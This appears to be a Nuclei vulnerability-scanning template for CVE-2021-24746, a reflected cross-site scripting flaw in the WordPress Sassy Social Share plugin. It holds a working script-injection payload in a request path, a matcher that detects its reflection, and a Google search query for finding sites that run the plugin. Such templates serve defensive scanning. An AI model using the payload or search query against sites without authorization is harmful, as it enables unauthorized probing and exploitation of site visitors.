id: CVE-2021-24746

info:
  name: WordPress Sassy Social Share Plugin - Reflected XSS
  author: Supras
  severity: medium
  description: WP plugin Sassy Social Share < 3.3.40 - Reflected Cross-Site Scripting
  reference:
    - https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24746
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24746
    cwe-id: CWE-79
  metadata:
    google-query: inurl:"/wp-content/plugins/sassy-social-share"
  tags: cve,cve2021,wordpress,wp-plugin,xss,wp

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/posts"
      - "{{BaseURL}}/{{slug}}/?a&quot;&gt;&lt;script&gt;alert(document.domain)&lt;/script&gt;"

    redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '?a"><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        name: slug
        internal: true
        group: 1
        regex:
          - '"slug":"([_a-z-A-Z0-9]+)",'